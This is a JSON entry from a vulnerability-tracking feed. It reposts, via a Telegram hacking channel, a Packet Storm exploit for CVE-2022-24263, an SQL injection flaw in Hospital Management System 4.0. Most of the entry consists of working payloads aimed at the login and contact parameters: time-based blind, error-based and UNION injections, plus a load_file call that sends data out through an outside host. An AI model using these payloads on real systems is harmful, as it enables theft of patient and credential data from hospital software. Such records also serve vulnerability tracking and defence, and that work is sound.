{"uuid": "79059bb2-a849-422d-99b4-360ef92da386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-24263", "type": "seen", "source": "https://t.me/hacking_Attack/41887", "content": "Exploit Collector\nHospital Management System 4.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png \nHospital Management System version 4.0 suffers from multiple remote SQL injection vulnerabilities. Original discovered of SQL injection in this version is attributed to Metin Yunus Kandemir in January of 2020.\n\nMD5 | fecde691e84e5dd271b20b214d542874\n\nDownload\n## Title: Hospital Management System v4.0 Multiple SQL-Injections\n## Author: nu11secur1ty\n## Date: 02.06.2022\n## Vendor: https://github.com/kishan0725\n## Software: https://github.com/kishan0725/Hospital-Management-System\n## CVE-2022-24263\n## Description:\nThe Hospital Management System v4.0 is suffering from Multiple\nSQL-Injections via three parameters in function.php,  contact.php, and\nfunc3.php applications.\nThe attacker can be receiving the all information from the system by\nusing this vulnerability, and also the malicious actor can use\nsensitive information from the customers of this system.\nWARNING: If this is in some external domain, or some subdomain, or\ninternal, this will be extremely dangerous!\nStatus: CRITICAL\n[+] Payloads:\n\n```mysql\n---\nParameter: txtName (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: txtName=821761' AND (SELECT 9346 FROM\n(SELECT(SLEEP(3)))HJGv) AND\n'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select\nload_file('\\\\\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\\\hgq'))+'&btnSubmit=Send\nMessage&txtMsg=441931\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)\nOR 1 GROUP BY CONCAT(0x7162706271,(SELECT (CASE WHEN (5080=5080) THEN\n1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)\nUNION ALL SELECT\n8185,8185,CONCAT(0x7162706271,0x5777534a4b68716f6d4270614362544c4954786a4f774b6852586b47694945644a70757262644c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login\n---\n\n-------------------------------------------\n\n---\nParameter: #1* ((custom) POST)\nType: error-based\nTitle: MySQL OR error-based - WHERE or HAVING clause (FLOOR)\nPayload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY\nCONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0\nEND)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING\nMIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n\nType: UNION query\nTitle: MySQL UNION query (random number) - 1 column\nPayload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT\nCONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a6977736855756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login\n---\n\n```\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263)\n\n## Proof and Exploit:\n[href](https://streamable.com/m4hnm1)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:56.687861Z"}